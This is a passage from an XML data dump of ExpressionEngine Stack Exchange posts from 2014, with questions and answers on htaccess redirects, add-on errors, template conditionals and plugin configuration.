  <row Id="25562" PostTypeId="2" ParentId="25559" CreationDate="2014-09-07T21:38:09.480" Score="0" Body="&lt;p&gt;No, prev/next entries is currently not available in Low Alphabet.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-09-07T21:38:09.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25563" PostTypeId="1" AcceptedAnswerId="25592" CreationDate="2014-09-08T09:13:11.423" Score="0" ViewCount="29" Body="&lt;p&gt;I'm trying to create some 301 redirects from an old Joomla site to a new EE site. As you may know, Joomla URLs look something like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=59&amp;amp;Itemid=125&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is obviously hitting EE's index.php. I have tried using Detour Pro but all that happens is when you hit the URL above, it just removes the index.php so i'm wondering if there is a way around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2015-04-07T21:13:35.610" Title="Redirects from Joomla to ExpressionEngine" Tags="|redirects|redirection|detour-pro|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25564" PostTypeId="5" CreationDate="2014-09-08T09:15:34.680" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-09-08T09:15:34.680" LastActivityDate="2014-09-08T09:15:34.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25565" PostTypeId="4" CreationDate="2014-09-08T09:15:34.680" Score="0" Body="Detour Pro gives you Control Panel access to set up and manage redirects including 301 and 302 redirects, wildcards, start dates, expiration dates and more." OwnerUserId="466" LastEditorUserId="466" LastEditDate="2014-09-08T16:00:38.203" LastActivityDate="2014-09-08T16:00:38.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25567" PostTypeId="1" AcceptedAnswerId="25571" CreationDate="2014-09-08T09:55:05.450" Score="0" ViewCount="21" Body="&lt;p&gt;Is it possible to delete data from a specific custom member field in every member account in one operation (ie not going through every member account and deleting the data one at a time)?&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-09-08T15:29:48.750" Title="Removing data from members account" Tags="|members|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25568" PostTypeId="1" CreationDate="2014-09-08T10:25:28.823" Score="1" ViewCount="24" Body="&lt;p&gt;Looking for a way to show, with a little icon or other indicator, if a file in the &lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow&quot;&gt;Assets&lt;/a&gt; module is used in the system or not, as this would be a great help to editors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would help while cleaning up large image collections, removing old files after a redesign, finding out which one of the duplicate images with similar names that is being used, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have build this functionality into the front end version of a simpler media bank already, but the client would love the same functionality in the Assets module in the Control Panel as well. Interested in if somebody done something similar and/or can recommend a way of extending Assets this way (since we can't find any &lt;a href=&quot;https://docs.pixelandtonic.com/assets/developers/hooks/index.html&quot; rel=&quot;nofollow&quot;&gt;hooks&lt;/a&gt; for displaying files) before we jump in?&lt;/p&gt;&#xA;" OwnerUserId="122" LastActivityDate="2014-09-08T10:25:28.823" Title="Show small icon in Assets if image is being used in system or not?" Tags="|assets|add-on-development|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25569" PostTypeId="2" ParentId="25567" CreationDate="2014-09-08T13:06:14.643" Score="0" Body="&lt;p&gt;You could definitely do this performing a query directly upon the database although you'd want to make a backup of said database first just incase anything went awry. I'm not entirely sure if there's an add-on out there to do this sort of thing, I think there is although it would be doing the same sort of thing anyway and a direct query connection to the database would be faster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you okay with performing queries directly upon your database? You would need some sort of MySQL admin panel or a MySQL client in order to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What version of ExpressionEngine are you running?&lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2014-09-08T13:06:14.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25570" PostTypeId="2" ParentId="25567" CreationDate="2014-09-08T15:26:53.753" Score="2" Body="&lt;p&gt;Could you not simply delete the custom member field? This would also delete the data from every member account.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-08T15:26:53.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25571" PostTypeId="2" ParentId="25567" CreationDate="2014-09-08T15:29:48.750" Score="0" Body="&lt;p&gt;Okay this should do it for you. First of all you need to find the ID number of the member field that you wish to clear. You can do this by going to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Members-&gt;Member Fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In here you should see all your custom member fields and an &lt;strong&gt;ID&lt;/strong&gt; &lt;em&gt;(first column)&lt;/em&gt; for each. Note down the number of the field that you wish to clear the data from then run this query in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools-&gt;Data-&gt;SQL Manager-&gt;Database Query Form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or a SQL tool of your own choice if you prefer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE exp_member_data&#xA;SET m_field_id_1 = &quot;&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the &lt;strong&gt;1&lt;/strong&gt; in the query above to the number that you retrieved of your custom member field previously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that should do what you need here. Definitely backup your database first before doing this though as best practice. &lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2014-09-08T15:29:48.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25572" PostTypeId="1" CreationDate="2014-09-08T15:36:52.990" Score="1" ViewCount="58" Body="&lt;p&gt;I have the same problem as this thread: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1955/why-cant-i-post-topics-on-a-forum&quot;&gt;Why can&amp;#39;t I post topics on a Forum?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling the htaccess file works, but then I have index.php back in all my urls. Any idea of the cause of this and a better fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add, I've pin-pointed the problem to the removal of trailing slashes using this htaccess code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} ^(.+)/$&#xA;RewriteRule ^(.+)/$ /$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Removing that chunk makes it work ok, but it'd be nice to remove the trailing slashes on the forum urls.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2016-06-14T09:15:46.563" Title="Unable to post in forum module running on localhost" Tags="|forum|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25573" PostTypeId="1" CreationDate="2014-09-08T15:40:35.790" Score="1" ViewCount="34" Body="&lt;p&gt;When uploading images to EE v2.7.2 from IE11 the images cannot be seen after uploading is completed. All other browsers seem to work properly. &lt;/p&gt;&#xA;" OwnerUserId="3558" LastEditorUserId="197" LastEditDate="2014-09-08T19:40:42.503" LastActivityDate="2014-09-08T19:40:42.503" Title="Unable to view uploaded images from IE11" Tags="|file-uploads|image|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25574" PostTypeId="2" ParentId="25572" CreationDate="2014-09-08T15:55:26.457" Score="0" Body="&lt;p&gt;Could you try this code instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{HTTP_HOST} !^.yoursite.com$ [NC]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule ^(.+)/$ http://{HTTP_HOST}/$1 [R=301,L]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can place the code above on just two lines if you like but for some reason when I line break the code here it's placing it all back on one line again!! Grrr! :-(&lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2014-09-08T15:55:26.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25575" PostTypeId="1" AcceptedAnswerId="25598" CreationDate="2014-09-08T16:10:00.227" Score="0" ViewCount="149" Body="&lt;p&gt;I've recently updated a site from EE 2.7.3 to 2.9.0. A client has pointed out to me that she can't log into the CP but instead get's the message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This form has expired. Please refresh and try again.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't get this message using Opera but managed to repeat the error using Firefox (on OSX).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After much fruitless searching around and playing with session settings with the CP, I tried disabling Cookie Consent and suddenly was able to log in using Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I really need to have Cookie Consent enabled because of the nature of the client's business. So I'm wondering if anyone has had this same problem and has found a work-around?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also using the latest version of Cookie Consent 1.1&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2015-09-04T20:26:42.540" Title="Not able to log into EE 2.9.0 when Cookie Consent is enable" Tags="|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25579" PostTypeId="1" CreationDate="2014-09-08T18:15:58.470" Score="1" ViewCount="51" Body="&lt;p&gt;I am looking for a way to store animated GIFs using Channel Images.  I'm OK with the re-sized options not working.  I figured I would just link to the original image.  Unfortunately, the original image is not so original because it gets converted to JPG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to configure Channel Images to store the original file type?&lt;/p&gt;&#xA;" OwnerUserId="3100" LastActivityDate="2014-09-08T18:15:58.470" Title="Channel Images with Animated GIFs" Tags="|channel-images|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25580" PostTypeId="2" ParentId="25561" CreationDate="2014-09-08T18:49:10.260" Score="1" Body="&lt;p&gt;Let me preface by saying that I've only developed a handful of EE sites and am not by any means a &quot;seasoned&quot; developer.  At any rate, I did use Stash earlier this year on a semi-large project - similar to what you mentioned… upgrading and optimizing code etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as counting lines of code and the reasoning you mentioned, your argument is valid and hard to disagree with. For me, the preference of using stash I think deals a lot with readability and the way you process the workflow in your mind.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The buzzword that I'm sure you've heard, but seemed to really facilitate my understanding of stash, as well as the general concept, is &quot;Injection&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of including / pulling a header and footer into a &quot;main template&quot;, you're creating a parent (skeleton?) template with various placeholders, and then your child template &quot;injects&quot; your code back into the parent template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you mentioned you read the main articles, but I just wanted to add a couple in case you didn't see them  - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE made part of this concept native shortly after the project I worked on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/blog/entry/template-layouts-in-expressionengine-2.8&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/blog/entry/template-layouts-in-expressionengine-2.8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's another one that I think is referenced on the Stash github page- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://johndwells.com/blog/homegrown-plugin-to-create-template-partials-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://johndwells.com/blog/homegrown-plugin-to-create-template-partials-for-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also wanted to mention that the Stash &lt;em&gt;parse&lt;/em&gt; option is a &lt;strong&gt;huge&lt;/strong&gt; help as well.  EE is constantly getting better, but I've run into a number of situations where it is outputting the wrong data, or not outputting data at all because of the native parse order.  Stash is invaluable in working around these issues.  &lt;/p&gt;&#xA;" OwnerUserId="3560" LastActivityDate="2014-09-08T18:49:10.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25581" PostTypeId="2" ParentId="25573" CreationDate="2014-09-08T19:31:15.973" Score="1" Body="&lt;p&gt;There: &quot;... All other browsers seem to work properly&quot;, fixed :-).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does explorer have a firebug/devtools like console?&lt;br&gt;&#xA;Try to inspect the network response, notices in there.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-09-08T19:31:15.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25582" PostTypeId="2" ParentId="25561" CreationDate="2014-09-08T21:53:58.383" Score="0" Body="&lt;p&gt;It sounds to me like you already have a grasp of the basics but want to delve more into the code reusability and maybe the caching aspects of Stash? I've been meaning to finish off my advanced tutorial that touches on these parts (I guess you've probably already seen &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine-stash-tutorials&quot; rel=&quot;nofollow&quot;&gt;parts 1 and 2&lt;/a&gt;? The overview section there might help too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On large sites, Stash helps you to reuse the same markup patterns for different content and/or templates. For example if you have a complicated chunk of markup that makes up a listing item, by saving data into named variables you can reuse the exact same markup for lots of different kinds of listings. You can already achieve this natively using embeds and passing each variable as an embed variable, but this is inefficient, messy and ugly, and also doesn't allow for nested looping data, only simple strings. With Stash it just feels cleaner in my head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the advantages of separating data-fetching and markup assembly instead of sprinkling channel:entries tags everywhere, For me the main advantage of this is simplified markup - all you're doing is assembling your previously saved (and cached!) variables (and nested loops for grid/relationship/category data). This approach also makes multi-layered caching possible (and also makes adding that later relatively simple).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you mentioned that you'll be using Structure, this did set a few alarm bells ringing: if you're taking a page-based approach to assembling the site (by which I mean relying primarily on single blob of generic content for each 'page') then the advantages of Stash probably won't be so obvious, but it really comes into its own when your content is highly atomic.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-09-08T21:53:58.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25583" PostTypeId="2" ParentId="25558" CreationDate="2014-09-08T22:15:42.533" Score="0" Body="&lt;p&gt;This error looks like Expression Engine is having trouble with reading your plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the control panel when you go to Add-ons &gt; Plugins, do you see a list of plugins there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they what you expect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly on the FTP side, when you go /system/expressionengine/third_party do the file permissions seem right?  Are you seeing the folder that you expect?&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-09-08T22:15:42.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25584" PostTypeId="2" ParentId="24843" CreationDate="2014-09-09T02:29:44.377" Score="-1" Body="&lt;p&gt;I'm adding my name to this list of having the same problem, although for me I DO have a matrix field in my public facing channel form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.0 / Matrix 2.6&lt;/p&gt;&#xA;" OwnerUserId="827" LastActivityDate="2014-09-09T02:29:44.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25585" PostTypeId="1" CreationDate="2014-09-09T03:30:33.327" Score="0" ViewCount="39" Body="&lt;p&gt;In the global configuration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL to the root directory of your site&#xA;This is the directory containing your site index file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will not save. The form field is blanks. I had this error in 2.8.1 and have updated to latest hoping to fix the issue but it still exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've double checked permissions on folders and files.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-09-09T03:30:33.327" Title="URL to the root directory of your site not saving (blank)" Tags="|system|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25588" PostTypeId="1" AcceptedAnswerId="25600" CreationDate="2014-09-09T10:07:40.550" Score="0" ViewCount="1434" Body="&lt;p&gt;I would like to remove all urls with trailing slashes using the .htaccess file.&#xA;I have tried a couple peices of code suggested on other questions but does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to do this by modifying the code below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !\.(gif|jpe?g|png|pdf)$ [NC]&#xA;RewriteRule ^(.*)$ /index.php?$1 [L]&#xA;&#xA;RewriteCond %{HTTP_HOST} !^www\. [NC]&#xA;RewriteRule ^(.*)$ http://www.domain.com/$1 [L,R=301]&#xA;&#xA;RewriteCond %{HTTPS} off&#xA;RewriteRule ^(.*)$ https://www.domain.com/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="433" LastActivityDate="2014-09-09T19:01:57.870" Title="Remove trailing slash from URLs" Tags="|url|htaccess|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25590" PostTypeId="1" AcceptedAnswerId="25643" CreationDate="2014-09-09T12:21:49.343" Score="0" ViewCount="54" Body="&lt;p&gt;Trying to work out what server modules (*nix) I need the hosting admin to install to have green across the board.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically we currently have No for the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CAPTCHAs feature and watermarking in Image Gallery&lt;/li&gt;&#xA;&lt;li&gt;JPEG Image Resising User GD (or GD 2)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See result of running the wizard below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TlFyk.png&quot; alt=&quot;Compatibility Wizard Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Brendan&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2014-09-11T14:15:43.890" Title="EE's Compatibility Wizard - what modules are in suggested &amp; optional?" Tags="|compatibility|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25592" PostTypeId="2" ParentId="25563" CreationDate="2014-09-09T13:22:39.377" Score="0" Body="&lt;p&gt;I actually figured this out by adding the following to my .htaccess;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^option=com_content&amp;amp;view=article&amp;amp;id=44&amp;amp;Itemid=128$&#xA;RewriteRule ^(.*) /map? [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-09-09T13:22:39.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25594" PostTypeId="1" CreationDate="2014-09-09T14:50:05.330" Score="0" ViewCount="523" Body="&lt;p&gt;Running up against a problem in the use of an Assets field tag in a conditional where there's single quotes entered into the field (in this case the Caption field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caption: Otherwise know as 'Old man's beard'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{mc_media_image:caption}&quot; != &quot;&quot;}&#xA;&#xA;    &amp;lt;figcaption&amp;gt;&#xA;        {mc_media_image:caption}&#xA;    &amp;lt;/figcaption&amp;gt;&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Error message returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&#xA;You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.&#xA;&#xA;Parser State: Unexpected ‘Old’ (VARIABLE); expected RD in Template “_includes/incopy_images” on line 46.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The question is how can I test for the existing of content on a caption field if there's a quote in the field? EE v2.8.1 didn't have the same problem as the conditionals weren't as strict as they are now in EE v2.9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would appreciate some help on this one thanks.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2016-06-29T14:12:21.267" Title="Conditional on Assets Field Tag that contains a quote in EE v2.9" Tags="|assets|conditionals|2.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25595" PostTypeId="2" ParentId="25594" CreationDate="2014-09-09T15:06:47.723" Score="1" Body="&lt;p&gt;Have you tried it without bracing and quoting? (which has always been recommended against). E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if mc_media_image:caption != &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-09-09T15:06:47.723" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="25596" PostTypeId="1" AcceptedAnswerId="26137" CreationDate="2014-09-09T16:15:15.997" Score="0" ViewCount="44" Body="&lt;p&gt;I've written a plugin that connects to another service to then display its data within my EE site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certain parameters are necessary for each tag - primarily things like a key, username. Is there a way to declare these once rather than within each function's parameter array? I'm currently doing that, which works, but seems… like a lot of repetition.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-10-10T15:55:38.643" Title="Is it possible to set &quot;global&quot; parameters for a plugin with multiple functions?" Tags="|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25597" PostTypeId="2" ParentId="25590" CreationDate="2014-09-09T17:06:25.780" Score="-1" Body="&lt;p&gt;If you install Expression Engine and you doesn't need a Captcha feature (to avoid spams), or no need to resize jpeg picture, it will works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you really need a system similar to avoid spams, exists a lot of addons about this.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-09-09T17:06:25.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25598" PostTypeId="2" ParentId="25575" CreationDate="2014-09-09T18:46:42.003" Score="1" Body="&lt;p&gt;I'm having this problem too. What I do is, um, refreshing the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find this &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20367/cant-login-to-cp-after-server-move-this-form-has-expired.-please-refresh-an&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt; useful&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-09-09T18:46:42.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25599" PostTypeId="2" ParentId="25596" CreationDate="2014-09-09T18:57:32.443" Score="1" Body="&lt;p&gt;I would recommend moving the configuration values to EE config (set them using EE config editor). They will be available as global config values then and you can access them like this: &lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('my_plugin_username)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-09-09T18:57:32.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25600" PostTypeId="2" ParentId="25588" CreationDate="2014-09-09T19:01:57.870" Score="6" Body="&lt;p&gt;This is what I usually have in my .htaccess for this (goes right after RewriteBase /):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Remove the trailing slash to paths without an extension&#xA;RewriteCond %{REQUEST_METHOD} !=POST&#xA;RewriteCond %{REQUEST_URI} /$&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.+)/$ $1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-09-09T19:01:57.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25601" PostTypeId="2" ParentId="19974" CreationDate="2014-09-09T19:16:27.633" Score="5" Body="&lt;p&gt;The awesome Eric Lamb helped me track down the fix for this problem. It isn't related to the CP URL change. It's a problem in the addon file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change line 326 from: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$out = '//  THIS IS TEST'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$out = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-09-22T20:23:20.347" LastActivityDate="2014-09-22T20:23:20.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25603" PostTypeId="1" CreationDate="2014-09-09T22:17:50.937" Score="0" ViewCount="84" Body="&lt;p&gt;I have a https section of my site I am using with Freemember.  But when I logout it takes me to the http version.  How can I make it logout but stay https?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{exp:freemember:logout_url return='&quot;{current_path}&quot;'}&quot; &amp;gt;Logout&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3505" LastActivityDate="2016-06-09T21:37:03.287" Title="Freemember - logout doesn't keep https protocol" Tags="|freemember|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25604" PostTypeId="1" CreationDate="2014-09-10T01:14:02.610" Score="2" ViewCount="194" Body="&lt;p&gt;I've recently performed an update of both Assets (v1.x to v2.4) and EE (v2.4 to v2.9) and now I'm seeing the following error/s when I try to save an entry in the EE control panel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: entry_id&#xA;Filename: assets/ft.assets.php&#xA;Line Number: 2214&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /path/to/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/EE_Input.php&#xA;Line Number: 212&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /path/to/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: libraries/Functions.php&#xA;Line Number: 447&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This error appears to relate to the recent function added to Assets v2.4 to support adding data into third party search indexes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would really appreciate some quick help from Pixel and Tonic for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Brendan&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2014-11-10T08:11:16.850" Title="Assets v2.4 producing error when saving an entry after upgrade from EE v2.4 to EE v2.9" Tags="|assets|pixelandtonic|2.8|2.9|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25605" PostTypeId="1" CreationDate="2014-09-10T02:11:11.030" Score="0" ViewCount="264" Body="&lt;p&gt;I'm converting some code over from using grid fields with images to use a single Assets field instead.  All good so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need a way to get at the index (current asset number while looping through the field tag pair).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking over the docs, I don't see an obvious way to do this.  {my_asset_field:index} doesn't appear to be a valid expression.&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2016-06-16T11:16:31.490" Title="How to get the Assets index in looping field tag pair?" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25606" PostTypeId="1" AcceptedAnswerId="25607" CreationDate="2014-09-10T08:04:41.290" Score="0" ViewCount="87" Body="&lt;p&gt;Not strictly EE but I'm flummoxed all the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to clean up zyteq.com.au and on this URL (&lt;a href=&quot;http://zyteq.propeller-dev2.com/products/software&quot; rel=&quot;nofollow&quot;&gt;http://zyteq.propeller-dev2.com/products/software&lt;/a&gt;) I've taken out jquery Match Height and resolved the product container sizing with CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this javascript remains and is causing all three product links in the row to direct to the URL of the first:- &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $(&quot;#products_box&quot;).children().hover(&#xA;&#xA;    function(){&#xA;&#xA;        $(this).addClass(&quot;hover&quot;);&#xA;&#xA;    }, &#xA;&#xA;    function(){&#xA;&#xA;        $(this).removeClass(&quot;hover&quot;);&#xA;&#xA;    }&#xA;&#xA;).click(function(e){&#xA;&#xA;    url = $(this).find(&quot;a&quot;).first().attr(&quot;href&quot;);&#xA;&#xA;    if (typeof(url) != 'undefined') {&#xA;&#xA;        window.location = url;&#xA;&#xA;        e.preventDefault();&#xA;&#xA;    